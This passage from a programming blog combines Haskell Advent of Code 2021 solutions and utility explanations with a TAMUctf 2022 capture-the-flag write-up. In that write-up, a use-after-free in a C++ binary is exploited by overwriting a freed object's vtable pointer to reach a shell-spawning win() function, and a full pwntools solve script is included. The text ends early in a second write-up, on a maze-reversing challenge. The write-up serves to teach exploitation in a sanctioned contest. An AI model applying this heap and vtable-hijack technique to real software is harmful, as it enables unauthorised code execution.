We're also confident that we've covered non-Int edge cases because the parser engine and Haskell's type system will report it for us; and so if the parsing succeeds, we know that our data isn't a string, character, boolean, or monkey. We assumed there won't be out-of-bound issues since AOC usually constrains numbers to 32/64-bit ints. But if the need arises, we could always upgrade from Ints to Integers (which are Haskell's equivalent of dynamically-sized integers).

Decoding Operand Packets

For operand packets, let's define another parser helper for parsing subpackets. We'll take as argument an Int (the length type ID) and return a parser that parses a list of (sub)packets.

operands :: Int -> Parser [Packet]
operands 0 = do  -- Length type ID == 0 ---> length-based operand
  len      <- fromBinary <$> bits 15
  subparse (some packet) <$> bits len
operands 1 = do  -- Length type ID == 1 ---> count-based operand
  num      <- fromBinary <$> bits 11
  count num packet

Pretty straightforward. For length-based operands: parse the length, then parse 1 or more packets out of the next length bits. Count-based operands are even more straightforward: parse the expected number of subpackets, then parse the num packets.

In both cases, subpackets are parsed by recursing to the packet parser, which we can now finish:

packet :: Parser Packet
packet = do
  version <- fromBinary <$> bits 3
  typeID  <- fromBinary <$> bits 3
  if typeID == 4
    then do
      {- -- code for literal packets --  -}
    else do -- Code for operands.
      lenTypeID <- fromBinary <$> bits 1
      children  <- operands lenTypeID
      return $ Packet version typeID $ Operands children
 where
    ...

Also pretty straightforward. We've added three lines of code for parsing the operand case. I think this warrants no explanation and should be a simple exercise for the reader. :)

Part 1

Summing the version numbers should be no problem, and knowing where are versions are and that they're already Ints, a simple recursion with sum and map should do it:

part1 :: Packet -> Int
part1 (Packet v _ obj) = case obj of
  Literal _ -> v
  Operands ps -> v + sum (map part1 ps)

Part 2

Part 2 is more complicated, but only slightly. Essentially, each type ID other than 4 corresponds to some operation. 0 is addition, 1 is multiplication, 5 is >, and so on.

part2 :: Packet -> Int
part2 (Packet _ op obj) = case obj of
  Literal x -> x
  Operands ps -> case op of
      0 -> sum
      1 -> product
      2 -> minimum
      3 -> maximum
      5 -> \[a, b] -> if a > b then 1 else 0
      6 -> \[a, b] -> if a < b then 1 else 0
      7 -> \[a, b] -> if a == b then 1 else 0
    $ map part2 ps

And that's it. Tada! Welcome to the wonderful magic of parser combinators.

Full Script

For completeness, here's the full D16.hs script. This uses my Haskell Utils module, and the actual main function is placed in another file. The background work is done there so that here we could focus on the process of getting from input (String) to output (Int) here.

AOC 2021 Haskell Utils

2022-08-09T00:00:00Z

Haskell, despite its relatively low popularity, is quite up to speed on language features and tooling (unlike–cough cough–some other languages). One of these features is being able to separate and organise files into modules, encouraging clean code practices and cleaner development.

In Advent of Code (AOC) 2021, I found it useful to separate common functions into a Utils.hs file. After all, to make our environments cleaner we should reduce, reuse, and recycle.

I'll introduce some basic utilities first before moving on to advanced ones. However, I won't make too many attempts to teach the basics. For that you may refer yourself to Learn You a Haskell (LYAH), which provides a very nice tutorial into Haskell.

List Utilities

`count :: (a -> Bool) -> [a] -> Int`

count p xs = length (filter p xs)

Typically, the situation arises when we need to count the number of elements in a list. For example, "count the number of occurrences of 3 in [1, 2, 3, 4, 3, 3, 5]". To do this, we'll filter the matching elements, then take the length of the filtered list to count the number of matches.

If you're new to Haskell, you're probably wondering "what the heck are the jumble of symbols on the first line?" It's the type signature! We can roughly translate it as follows:

count: The count function...
::: has the following type...
- (a -> Bool): it takes a predicate; here, a function which itself takes a generic type a and returns a boolean...
- ->: then...
  - [a]: it takes a list of generic objects (all the same type as the previous a!)...
  - ->: then...
    - Int: it returns a 32-bit integer.

Well, this isn't entirely accurate due to currying, but it's a decent mental model.

In the type signature, a is a generic type, similar to template parameters in C++ and generics in Java/Scala (although the convention in those languages is to use T and A).

template <typename T>
int32_t count(std::function<bool(T)> p, std::list<T> const& xs) { /* ... */ }

def count[A](p: A => Boolean, xs: List[A]): Int = { /* ... */ }

In Haskell, there is actually a more concise way to write count:

count :: (a -> Bool) -> [a] -> Int
count p = length . filter p

. stands for function composition, similar to those in math ($f \circ g$). On the practical side, it applies the right-hand-side function first, followed by the left-hand-side function. Programs are all about combining small operations to form bigger ones, so you'll see . being used a lot in purely functional code.

In the code above, you can think of count as taking one parameter p :: a -> Bool and returning a function [a] -> Int which is the composition of length and filter p. It may help if I refine the type signature, so that it's clear that it returns [a] -> Int:

count :: (a -> Bool) -> ([a] -> Int)

So we can actually think of count as having several types:

it takes a (a -> Bool), a [a], and returns an Int; or
it takes a (a -> Bool) and returns a ([a] -> Int).

Either way the function does the same thing. Under the hood, however, the Haskell compiler thinks using the latter version. This phenomenon is known as currying and its flexibility is quite useful for creating partial functions.

`firstBy, lastBy :: (a -> Bool) -> [a] -> a`

firstBy p = head . filter p
lastBy p = last . filter p

Both firstBy and lastBy have similar function types: they take a predicate (a -> Bool), a list [a], and return an element a. You can probably guess what these do by just looking at the names and types.

ghci> firstBy even [1..5]
2
ghci> lastBy (< 4) [1..5]
3

even checks if a number is even. < 4 checks if a number is less than 4. We could be more explicit: lessThan4 x = x < 4; but < 4 is just more concise.

These functions are useful when we've generated a list of possible solutions, but only want the first or last element which meets some criteria.

`fromBinary :: String -> Int`

fromBinary = foldl (\acc d -> 2 * acc + digitToInt d) 0

As you could guess from the type signature, this function converts a binary string to the corresponding base-10 integer. You'll notice that we didn't give a parameter name for String, and that's because we curried foldl (which takes up to 3 parameters).

Folds in functional programming are powerful and useful because they are generalised/abstract constructs. And like all generalised/abstract constructs, folds take a bit of time to understand. If you know how reduce works, foldl is similar. You can learn more about folds in LYAH's chapter on folds.

To illustrate fromBinary in action:

fromBinary "10" 
    = 2 * (2 * 0 + digitToInt '1') + digitToInt '0'
    = 2 * (1) + digitToInt '0'
    = 2

fromBinary "1011" 
    = 2 * (2 * (2 * (2 * 0 + digitToInt '1') + digitToInt '0') + digitToInt '1') + digitToInt '1'
    = 2 * (2 * (2 * (1) + digitToInt '0') + digitToInt '1') + digitToInt '1'
    = 2 * (2 * (2) + digitToInt '1') + digitToInt '1'
    = 2 * (5) + digitToInt '1'
    = 11

digitToInt is a function defined in Data.Char which converts a char digit ('0'..'9') to the corresponding integer 0..9.

Debug Utilities

Debugging in the functional world is slightly more nuanced than debugging in the imperative world. Haskell's Debug.Trace library—with its signature function trace—allows us to print messages to standard output, bypassing the restrictions of pure functions. Some examples of trace in action:

hello :: String -> String
hello x = trace "trace says 'hello'" x

foo :: Int -> String -> Int
foo n s | trace ("int: " ++ show n ++ ";  string: " ++ s) False = undefined
foo n s = n + length s

--

ghci> hello "world"
trace says 'hello'
world

ghci> foo 1 "abc"
int: 1;  string: abc
4

The first parameter of trace is the string to output. The second parameter will be returned as is, without modifications.

In foo, we define the tracing on a separate line so that it's easy to comment out. The first match uses guards (see LYAH).

Here are some convenience utilities that may spare a few keystrokes:

`(++$) :: (Show a) => String -> a -> String`

(++$) s x = s ++ " " ++ show x

So that we don't have to write show for every non-string item we want to print. We can use this in foo's trace message to replace ++ show n with ++$ n.

foo :: Int -> String -> Int
foo n s | trace ("int:" ++$ n ++ ";  string: " ++ s) False = undefined
foo n s = n + length s

It's a bit superfluous, but I think writing show all the time bloats the debug message.

`trace' :: (Show a) => a -> a`

trace' x = trace (show x) x

A helper to print and return its argument, to avoid repetition.

Advanced Utilities

In the following sections, I'll talk about fundamentals less so that I can focus more on the higher-level things. I'll presume the reader has a solid grasp of fundamentals.

`counter :: (Hashable a, Eq a) => [a] -> M.HashMap a Int`

counter = foldr (\x -> M.insertWith (+) x 1) M.empty

This helper function takes a list and counts the number of occurrences, packing it into a hashmap for efficient lookup.

After all, if Python has such a convenience (collections.Counter), why shouldn't Haskell have something similar?

counter [1, 2, 3, 1, 5, 3, 4, 1]
    = M.fromList [(1,3), (2,1), (3,2), (4,1), (5,1)]

In fact, we can generalise this to not only work with lists as input, but for any Foldable type. This is what we would get if we let the Haskell's type inference work its magic:

ghci> counter = foldr (\x -> M.insertWith (+) x 1) M.empty
ghci> :t counter
counter
  :: (Foldable t, Eq k,
      hashable-1.3.1.0:Data.Hashable.Class.Hashable k, Num v) =>
     t k -> M.HashMap k v

That is:

counter :: (Foldable t, Eq k, Hashable k, Num v) => 
            t k -> M.HashMap k v

I used the strict hashmap provided in the unordered-collections package, but it should work with lazy hashmaps as well.

If you want to use the Hashable typeclass in code, you'll need to jump through some hoops by "exposing" the hidden hashable package and importing Data.Hashable.

Parser Utilities

I used MegaParsec this year, but the idea of the following utilities can also be applied for other parser combinator libraries.

`digits :: (Num i, Read i) => Parser i`

digits = read <$> some digitChar

Convenience function for parsing a number (string of digits).

`integer :: (Num i, Read i, Show i) => Parser i`

integer = (negate <$> try (char '-' *> digits)) <|> digits

Convenience function for parsing a (possibly negative) integer.

AOC-specific Utilities

Some more utilities which I wrote solely for AOC.

`defaultMain`

defaultMain
  :: (ParseLike p, Print b, Print c)
  => String   -- Default input file, if no -f option was provided from args.
  -> p a      -- Any instance of ParseLike, e.g. a function (String -> a) or a parser combinator (Parser a).
  -> (a -> b) -- Function to solve part 1. Takes in input and returns something printable.
  -> (a -> c) -- Function to solve part 2.  -- Ditto. --
  -> IO ()
defaultMain defaultFile parse part1 part2 = do
  (opts, _)  <- parseArgs (nullOpts { file = defaultFile }) <$> getArgs
  input <- doParse parse (file opts) <$> readFile (file opts)
  when (runPart1 opts) $ do
    putStr "part1: "
    print' $ part1 input
  when (runPart2 opts) $ do
    putStr "part2: "
    print' $ part2 input

This utility may seem scary since there it's packed with other user-defined utilities. But to summarise, this function helps standardise the AOC part 1/part 2 structure while also providing the option to specify input files from the command line. This is useful as Haskell Stack is a bit fussy and long-winded when it comes to compilation.

One thing I found useful was having flexible parse methods. Sometimes I want to parse using a String -> a function because it was enough to simply do map read . lines. Other times I want to parse using a Parser a combinator due to more complicated syntax in the input. Thanks to ad-hoc polymorphism, we can achieve this using typeclasses; and so the ParseLike typeclass was born:

class ParseLike p where
  -- Parser object, filename, contents -> result.
  doParse :: p a -> String -> String -> a

instance ParseLike ((->) String) where
  doParse f _ = f  -- Apply a parse function `f` on `contents`.

instance ParseLike Parser where
  doParse p file txt = case runParser p file txt of
    Right res -> res
    Left  err -> T.trace (errorBundlePretty err) undefined

Here's an example usage from Day 1:

main :: IO ()
main = defaultMain defaultFile parse part1 part2

defaultFile :: String
defaultFile = "../input/d01.txt"

parse :: String -> [Int]
parse = map read . lines

part1 :: [Int] -> Int
part1 xs = length $ filter (uncurry (<)) $ zip xs (tail xs)

part2 :: [Int] -> Int
part2 xs =
  part1 $ map (\(a, b, c) -> a + b + c) $ zip3 xs (tail xs) (tail $ tail xs)

Other usage examples can be found in my Haskell AOC solutions.

`criterionMain`

criterionMain
  :: (ParseLike p)
  => String   -- Default input file, if no -f option was provided from args.
  -> p a      -- Any instance of ParseLike, e.g. a function (String -> a) or a parser combinator (Parser a).
  -> (a -> [C.Benchmark]) -- Criterion IO () benchmarking function.
  -> IO ()
criterionMain defaultFile parse getBench = do
  (opts, rest)  <- parseArgs (nullOpts { file = defaultFile }) <$> getArgs
  input <- doParse parse (file opts) <$> readFile (file opts)
  withArgs rest $ C.defaultMain $ getBench input

Criterion is an excellent benchmarking library with various config options and output formats. To integrate Criterion with my pre-existing options, I hand-spun another default-main for benchmarking. So instead of passing my parsed input to part 1/2 functions, I pass it to benchmarks.

Example usage from Day 22:

main :: IO ()
main = criterionMain defaultFile parser $ \input ->
  [ C.bgroup "part1" [C.bench "part1" $ C.whnf part1 input]
  , C.bgroup
    "part2"
    [ C.bench "sum of unions" $ C.whnf part2 input
    , C.bench "sum of unions (optimised)" $ C.whnf part2_optimised input
    , C.bench "sum of intersections" $ C.whnf part2_intersect input
    ]
  ]

parser :: Parser [Command]
parser = ...

part1 :: [Command] -> Int
part1 cmds = ...

part2 :: [Command] -> Int
part2 cmds = ...

part2_optimised :: [Command] -> Int
part2_optimised cmds = ...

part2_intersect :: [Command] -> Int
part2_intersect cmds = ...

Advent of Code 2021

2022-07-23T00:00:00Z

If you're new to Advent of Code (AOC), you can read more about it for some background info.

This was my second year completing the full set of challenges and obtaining all 50 stars. These challenges were released in December last year, but I only completed the first few challenges then and completed the rest this summer. The stress and study of the Spring term made me put off AOC until I was utterly and completely bored at work with nothing to do.

Some people like to play AOC competitively. It has a global leaderboard as well as a private leaderboard (so you can compare yourself against others in a group). For me, I rather take my time about it; figure out problems slowly without the pressure of a race.

This year's AOC story leads us diving deep underwater trying to find a key or something to kickstart Santa's sleigh. The author really put some effort into creating the wackiest of scenarios. There were also a plethora of sea animals among the challenges: from giant squids, to cute little dumbo octopi, to crabs.

I tried using Haskell and Rust. Initially, I planned to solve every challenge in both Haskell and Rust, but I realise this is quite annoying. And after gaining the star, I'm slightly less motivated to solve it in a second language. So I opted to use Haskell and/or Rust. (One challenge was solved using Python.) Perhaps some day I'll solve the challenges in both languages.

Both Haskell and Rust are modern programming languages in design. Haskell is heavy on functional programming, whereas Rust is multi-paradigm. Both are general-purpose PLs, so both have a wealth of libraries and frameworks.

I continued using Haskell Stack for compilation. It's somewhat inefficient. The way I set up my project, I listed each day as a separate executable. This way I could do something like stack run d01, and it would run my code for the challenges on the first day. Previously, due to some issue with its dependencies, Stack will compile all executables and modules within the project... and. that. is super. annoying. 🤮 Since then, I've tweaked the module and project setup for faster compile times. Anyhow, I continue using Stack as its dependency resolution is good, and I could extend my code with unit testing or benchmarking if I'm up for it in the future.

Several problems lent themselves well to functional programming, especially the parsing ones (Day 10, Day 16). I tried learning the ST monad (which is how Haskell magically jumps between the immutable and mutable worlds) and tried applying it for Day 25. The functions (writeArray, newSTRef, writeSTRef) were verbose, and didn't have the same inherent beauty of array[i] = 0 in imperative languages. But from an academic perspective, it was interesting to read about ST and how Haskell bridged the gap between pure functions and state mutations.

In last year's AOC, I tried solving everything with Haskell, but was suuuper annoyed with simulation challenges. These were challenges asking us to do stuff like: "oh, please simulate this 1,000x1,000 grid for 1,000,000 steps with Conway's game of life". With a purely functional PL like Haskell, this isn't easy. Taking a functional approach is extremely costly, as you would be building entirely new grids each step. Haskell does have imperative programming and mutability (via monad magic)... but it's not Haskell's strong suit, and coding-wise, you need to jump through so many mental hoops to get it working properly. And it wasn't exactly beginner-friendly.

So this year, I decided to use Rust for most of the challenges where mutability is essential to the algorithm. Rust seems to be emerging in industry, has solid tooling, and a growing community; I think it's more than enough reason to try learning it through AOC.

Rust's package manager, cargo, was fast. The documentation, Rust Book, was extremely helpful and cleanly edited. I ran into some issues where adding a println! caused the compiled binary to not run (OS error, could not run executable?). But this only happened on my work desktop. Probably a security thing.

Also, all the hype I see about Rust's error messages is completely justified. They really did put a lot of effort into explaining the nuances of the Rust compiler. And they have pretty colours as well. 😱 On a couple of occasions, the error messages don't help at all (e.g. adding dyn to an impl trait in a function type?); but usually there is some blog post explaining and providing a proper solution to the problem.

Overall, this year's AOC was a fun experience and the EUREKA moments were definitely worth it. It was nice having different programming languages available to use, as some PLs had more flexible approaches to some problems (e.g. solving Day 14 using Haskell's parser combinators), some had built-in features/design that made it easier to solve challenges (e.g. mutability in Day 25 with Rust), and some had more familiar libraries (e.g. z3 in Python for Day 24). If anything, this strengthens my belief that diversifying across PLs is a productive effort.

My solutions for this year have been uploaded online. But if you're interested in programming and problem solving, you should definitely give AOC a try first before peeking at my solutions! :P

TAMUctf 2022 – CTF Sim

2022-04-24T00:00:00Z

Challenge Description

Wanna take a break from the ctf to do another ctf?

Write-Up

Ooooh, a C++ challenge. And it's about CTFs. Seems like a fun little exercise.

Preliminary Observations and Analysis

We're provided a C++ file and its compiled ELF. Upon an initial browse through the source, we see something interesting:

void win() {
    system("/bin/sh");
}

void* win_addr = (void*)&win;

A win function is already provided, along with a global variable win_addr storing the address of win.

Now on to the fun stuff. We're given six classes with the solve virtual function: one base class and the other five inheriting and overriding solve.

struct challenges { virtual void solve() { /* ... */ } };
struct forensics : challenges { virtual void solve() { /* ... */ } };
struct reversing : challenges { virtual void solve() { /* ... */ } };
struct pwn : challenges { virtual void solve() { /* ... */ } };
struct web : challenges { virtual void solve() { /* ... */ } };
struct crypto : challenges { virtual void solve() { /* ... */ } };

We then have three action functions:

downloadChallenge, which news one of the five derived classes,

// -- Read choice, index from input. --
if (choice == 1) {
    downloaded[index] = new forensics;
}
else if (choice == 2) {
    downloaded[index] = new reversing;
}
// ...
else {
    downloaded[index] = new crypto;
}

solveChallenge, which selects a downloaded challenge, then calls ->solve() and deletes it,
```
// -- Read index from input. --
downloaded[index]->solve();
delete downloaded[index];
```
C++
and

submitWriteup, which calls mallocs with custom size.

// -- Read length from input. --
char* writeup = (char*)malloc(length);
fgets(writeup, length, stdin); // Read writeup payload from input.

Interestingly, the malloced chunk isn't freed anywhere! Also in solveChallenge, the value of downloaded[i] isn't removed after being deleted... This is starting to smell like a double free or use-after-free vulnerability. But is it?

Let's start by defining helper functions in Python to help us perform actions:

def download_chal(category: int, save_index: int):
    if not (1 <= category <= 5 and 0 <= save_index <= 3):
        raise RuntimeError("bad bad")

    p.sendlineafter(b"> ", b'1')
    p.sendlineafter(b"> ", str(category).encode())
    p.sendlineafter(b"> ", str(save_index).encode())

def solve_chal(index: int):
    if not (0 <= index <= 3):
        raise RuntimeError("bad bad")
    
    p.sendlineafter(b"> ", b'2')
    p.sendlineafter(b"> ", str(index).encode())

def submit_writeup(content: bytes, length: int = None):
    if length is None:
        length = len(content) + 1
    elif len(content) >= length:
        raise RuntimeError("your math bad bad")
    
    if b'\n' in content:
        raise RuntimeError("bad bad newline")

    p.sendlineafter(b"> ", b'3')
    p.sendlineafter(b"> ", str(length).encode())
    p.sendlineafter(b"> ", content)

Now we just need to figure out how to call these, and what to call them with...

Virtual Tables

Ugh... virtual functions. They're convenient high-level features and great for polymorphism, but how do they actually work underneath?

My Google-fu did not fail me. I found a couple useful resources:

a StackOverflow answer
a well-written blog post by one named Pablo

I'll try my best to summarise the wisdom found there:

If a class has a virtual function...
- the class has a vtable, and
- objects of the class contains an implicit "vptr" member.
  - In memory, the vptr is placed at the very beginning of the object.
  - The vptr points to the vtable of the class.
The vtable is a list of pointers to the concrete implementations of the virtual functions.
When a virtual function is called, the vtable is accessed through the vptr. The vtable is then used to look up the appropriate virtual function and pass it the appropriate parameters.

To better understand vtables and vpointers, here's a virtual function example in C++ along with a desugared version written in C.

C++ Version:

class Parent {
public:
    // void* vtable; // Implicit, but exists due to virtual functions.
    int parent_data;
    Parent(int data) : parent_data{data} {}

    virtual void foo(int x) { std::cout << "parent (" << parent_data << ") foo: " << x << std::endl; }
    virtual void bar(int x) { std::cout << "parent (" << parent_data << ") bar: " << x << std::endl; }
};

// Inherits Parent::parent_data and Parent::foo.
class Derived : public Parent {
public:
    // void* vtable; // Implicit for same reason as Parent.
    int derived_data;
    Derived(int data, int data2) : Parent{data}, derived_data{data2} {}

    // Overrides Parent::bar.
    virtual void bar(int x) { std::cout << "derived (" << parent_data << ", " << derived_data << ") bar: " << x << std::endl; }
};

int main() {
    Parent p{1};
    p.foo(2); // Parent::foo
    p.bar(3); // Parent::bar

    Derived d{5, 6};
    d.foo(7); // Parent::foo
    d.bar(8); // Derived::bar
}

^{(godbolt demo)}

C Version:

typedef void (*funcptr_t)(); // Type alias for function pointers.

typedef struct {
    funcptr_t* vtable;
    int parent_data;
} Parent;

typedef struct {
    funcptr_t* vtable;
    int parent_data; // Inherited from Parent.
    int derived_data;
} Derived;

// Enumeration of virtual functions.
enum { VFUNCTION_FOO, VFUNCTION_BAR };

// Concrete implementations.
void parent__foo(Parent* p, int x) { printf("parent (%d) foo: %d\n", p->parent_data, x); }
void parent__bar(Parent* p, int x) { printf("parent (%d) bar: %d\n", p->parent_data, x); }
void derived__bar(Derived* d, int x) { printf("derived (%d, %d) bar: %d\n", d->parent_data, d->derived_data, x); }

// Virtual implementations (redirect).
void foo(Parent* p, int x) { p->vtable[VFUNCTION_FOO]((void*)p, x); }
void bar(Parent* p, int x) { p->vtable[VFUNCTION_BAR]((void*)p, x); }

// vtable definitions.
funcptr_t parent__vtable[] = {
    parent__foo,
    parent__bar,
};

funcptr_t derived__vtable[] = {
    parent__foo,
    derived__bar,
};

int main(void) {
    Parent p = {parent__vtable, 1};
    foo(&p, 2); // parent__foo
    bar(&p, 3); // parent__bar.

    Derived d = {derived__vtable, 5, 6};
    foo((Parent*)&d, 7); // parent__foo
    bar((Parent*)&d, 8); // derived__bar.
}

^{(godbolt demo, inspired from this gist)}

So to reiterate and relate how this works with ctf_sim.cpp:

By observation, each class (challenge, forensic, reversing, etc.) has a virtual function.
Therefore, each class has a vtable.
Also, an object of any class (challenge, forensic, etc.) has a vptr.
This vptr points to the corresponding vtable of the class.
- e.g. a forensic object will have a vptr pointing to the forensic vtable.
- a pwn object will have a vptr pointing to the pwn vtable.

Exploiting the Binary with GDB

This section will walk through the hands-on aspect exploiting the ctf_sim binary using GDB. I try to go through the entire procedure to clarify the details, so it may be slightly long-winded. Feel free to skip to the conclusion.

To recap a bit, we know that...

when a virtual function is called, the function does a little double-dereference magic using the object's vptr.
there is a use-after-free/double-free vulnerability.
- When solving a challenge, delete is called. But the pointer value isn't cleared.
```
int main() {
    int* p = new int;
    // Suppose p == 0x404000.
    delete p;
    // Pointer value is still 0x404000, not NULL or anything else.
}
```
  C++
- We could...
  - make a new challenge at the same index? This would overwrite our use-after-free pointer... we probably don't want that.
  - solve the challenge again? This would call the virtual function and delete the pointer again.
  - submit a writeup? We might be able to use this to reallocate the chunk and overwrite object data with custom data! Let's explore this a bit more using GDB.

We'll try the following:

Download challenge. This allocates a new chunk.
Solve the downloaded challenge. This should free the chunk.
Submit a writeup. This should reallocate the chunk, but with our custom data.
Solve the downloaded challenge again. This should call a double deref on the vptr.

To understand the exploit the details better and what happens under the hood, we'll use GDB to step through the exploit.

A brief refresher on some commands we'll be using. (See this GDB cheatsheet for more commands.)

r               # Run the file.
c               # Continue running where we left off.
heap chunks     # View active chunks on the heap.
x /40wx <addr>  # View memory at address as hex data.
x /40wi <addr>  # View memory at address as instructions.
disas <sym>     # Disassemble a symbol.
b *<addr>       # Set a breakpoint at the specified address.
kill            # Useful for stopping the current run in case we make an oopsie and need to restart.

After starting up my Kali Linux VM, downloading the challenge onto it, and firing up GDB; we inspect the initial state of the heap.

gdb ctf_sim  
r  
^C  
heap chunks

Ooo, looks a bit busy, even though we haven't malloced or newed anything yet! These are probably allocations from iostream buffers used to buffer the input and output streams. We'll ignore these for now as they aren't very important.

We perform our first action: downloading a challenge. The challenge type and index to store the challenge don't really matter, so we'll just go with the first option (new forensics) and index 0.

Let's pause again and check the state of the heap.

^C  
heap chunks

Notice that there is now a new chunk with size 0x20 with some data in the first few bytes. Since we just allocated a forensics object, this is likely the vptr of that object.

Indeed, if we peek into the binary's memory using x /20wx 0x403d38, we see what looks like some vtables having a party:

We'll move on to the second step: solving the challenge. This step is rather simple, but I want to show how the vtable magic is done in assembly. Let's disassemble the solveChallenge() function and set a breakpoint near the hotspot.

disas solveChallenge
b *solveChallenge+191

Now we'll continue running and feed it input for solving our forensics challenge.

c  
2  
0

Our breakpoint gets triggered. Notice the interesting chain of addresses in the rax register in the image below. There's a chain of 3 addresses:

the address of the forensics object vptr... which points to...
the address of the forensics vtable... which points to...
the address of forensics::solve...
- which is eventually called in assembly (call rax)

So this is what happens when we call a virtual function... InTeReStInG!

Let's continue so that it finishes delete-ing the chunk, and let's check the heap state again:

c  
^C
heap chunks

It appears that our forensics vptr has been replaced with some other data. 😢 But no worries! We'll just continue with our third action: submitting a writeup.

Since we want to reuse the chunk previously deallocated, we want to make sure the chunk we allocate when submitting the writeup isn't too big. But the chunk shouldn't be too small either: we want it to be at least 9 bytes, so that it could fit 8 bytes of payload plus a null terminator. So we'll settle for 16 bytes.

c  
3  
16  
AABBCCDD

Let's check our heap.

^C  
heap chunks

Sweet! We've overwritten the first 8 bytes of the chunk with our payload. Effectively, we've assigned a custom vptr to the forensics object.

"But bruh I thought our forensics object was deallocated!"

Well yes... but actually no... Objects in C/C++ are merely represented in memory as a sequence of bytes. You can interpret a sequence of bytes as any type. That's why casting across types is a thing in C/C++—albeit potentially dangerous. (In C, you'd use the usual cast (type*)&obj. In C++, you'd use reinterpret_cast<type*>(&obj).)

Now when we call solveChallenge, the line downloaded[index]->solve() will treat our chunk as a challenge*. It was originally supposed to be a char*, since we submitted a writeup. But since types don't matter in the assembly/memory level, the chunk is now a challenge* for all intents and purposes.

Since the chunk is treated as a challenge*, the assembly will try to double-deref the vptr... which is our payload from submitting the writeup.

Boom! Exploit.

If we continue running the program, a SIGSEGV occurs since it tries to dereference 0x4444434342424141 (which is "AABBCCDD", but packed to 64 bits).

Later on, we'll use win_addr instead of "AABBCCDD" for our payload; so that when the solve() virtual function does its magic, it will call win() instead.

Altogether

Combining our knowledge of vtables/vpointers with a little bit of heap knowledge, we come up with the following exploit:

# downloaded[0] = new forensics;   (vptr points to forensic's vtable.)
download_chal(1, 0)

# delete downloaded[0];    (chunk is moved to tcache/fast bin. downloaded[0] itself is unchanged!)
solve_chal(0)

# Chunk is allocated-- reusing the chunk previously deallocated.
# Overwrite vptr of downloaded[0] with &(&win).
submit_writeup(p64(elf.sym['win_addr']), 0x10)

# downloaded[0]->solve() triggers double dereference (due to virtual function resolution) and calls win()!
solve_chal(0)

To explain the "little bit of heap knowledge", we just need to understand that C++'s new/delete behaves like C's malloc/free: new will allocate a chunk, and delete will move the chunk to a bin. There are tons of different bins (small, large, fast, unsorted). But intuitively, the next new with a similar chunk size will reuse the chunk, meaning we overwrite the same memory previously allocated!

This story is reflected in the code above.

We download a challenge. This will new a chunk. The index and type of challenge (forensic, pwn, etc.) don't really matter, but just make sure we keep reusing the same index.
We solve a challenge. Here we delete the chunk previously allocated.
We submit a writeup. This mallocs a chunk and inserts a payload of win_addr.
- The size to malloc can be anywhere between 0x8 (exclusive) and 0x18 (inclusive). I used 0x10 since it looks pretty.
- Anything equal or less than 0x8 means our 8-byte payload will be cut off early. All 8 bytes are important, because the vptr machinery will be using the entire 8 bytes.
- Anything above 0x18 will allocate a new chunk instead of reusing the previously deallocated chunk.
We solve the same challenge as before. This triggers a call to a virtual function which double-derefs our payload (win_addr), calling win() and giving us a shell. PROFIT!

Solve Scripts

from pwn import *

binary = 'ctf_sim'

context.binary = binary
context.log_level = 'debug'

elf = ELF(binary)
rop = ROP(binary)

p = remote("tamuctf.com", 443, ssl=True, sni="ctf-sim")


def download_chal(category: int, save_index: int):
    if not (1 <= category <= 5 and 0 <= save_index <= 3):
        raise RuntimeError("bad bad")

    p.sendlineafter(b"> ", b'1')
    p.sendlineafter(b"> ", str(category).encode())
    p.sendlineafter(b"> ", str(save_index).encode())

def solve_chal(index: int):
    if not (0 <= index <= 3):
        raise RuntimeError("bad bad")
    
    p.sendlineafter(b"> ", b'2')
    p.sendlineafter(b"> ", str(index).encode())

def submit_writeup(content: bytes, length: int = None):
    if length is None:
        length = len(content) + 1
    elif len(content) >= length:
        raise RuntimeError("your math bad bad")
    
    if b'\n' in content:
        raise RuntimeError("bad bad newline")

    p.sendlineafter(b"> ", b'3')
    p.sendlineafter(b"> ", str(length).encode())
    p.sendlineafter(b"> ", content)

# downloaded[0] = new forensics;   (vptr points to forensic's vtable.)
download_chal(1, 0)

# delete downloaded[0];    (chunk is moved to tcache/fast bin. downloaded[0] itself is unchanged!)
solve_chal(0)

# Chunk is allocated-- reusing the chunk previously deallocated.
# Overwrite vptr of downloaded[0] with &(&win).
submit_writeup(p64(elf.sym['win_addr']), 0x10)

# downloaded[0]->solve() triggers double dereference (due to virtual function resolution) and calls win()!
solve_chal(0)

p.interactive()

Flag

gigem{h34pl355_1n_53477l3}

TAMUctf 2022 – Labyrinth

2022-04-22T00:00:00Z

Challenge Description

To get the flag you'll need to get to the end of a maz- five randomly generated mazes within five minutes.

This is an automatic reversing challenge. You will be provided an ELF as a hex string. You should analyze it, construct an input to make it terminate with exit(0), and then respond with your input in the same format. You will need to solve five binaries within a five minute timeout.

Write-Up

Preliminary Observations and Analysis

Unlike other reverse challenges, this one requires us to connect to a server and auto-hack not one, but five binaries. We're provided with this template:

from pwn import *

p = remote("tamuctf.com", 443, ssl=True, sni="labyrinth")
for binary in range(5):
  with open("elf", "wb") as file:
    file.write(bytes.fromhex(p.recvline().rstrip().decode()))

  # send whatever data you want
  p.sendline(b"howdy".hex())
p.interactive()

Modifying the template slightly, we run and download a couple binaries for analysis.

As a first step, we'll run checksec to see what securities are in place.

checksec elf
[*] '/Users/<redacted>/labyrinth/elf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

It appears that PIE is enabled. We'll make a mental note of this, since this may mess with function addresses.

What is PIE? Sadly, not the scrumptious dessert. Position-independent executable is a security mechanism whereby on starting an application, the OS will offset the assembly sections (.data, .text, etc.).

Next, we decompile our elves using Ghidra and make some observations.

^{Only one function contains exit(0).}

^{Other functions seem to perform some sort of check and lead to more functions.}

Each binary contains a thousand (1000) functions (excluding main). The symbols are function_0, function_1, function_2, and so on.
Each of these functions will:
- Call scanf("%u\n", ...) (read 4 bytes into a stack variable), and
- Branch (if, else-if, else) into two or more paths.
- The branch conditions come in some form of arithmetic check. For example, input == 0x1c1, input ^ 0xc213504e == 0x142, input < 0x143, input - 0x5173cdc3 == 0x28b.
- Each branch will either
  - exit(1)
  - or call another function from the 1000 functions.
- The number of branches, numbers used in the conditions, and order of conditions are random.
All 1000 functions are laid next to each other in memory.
main is always at 0x101155 and starts by calling one of the 1000 functions. The function call is not fixed (i.e. we can't be certain about the address).
Only one function calls exit(0) and this function is always at address 0x1011c4.

To "solve" an elf, we need to give an appropriate input at each step of the function such that the correct branch and path are taken. In other words, we need to trace the right path out of the maze. We need to solve 5 elves to get the flag. We only have five minutes for five elves. Solving this without any automation seems next to impossible. Thankfully, we have angr.

What is angr?
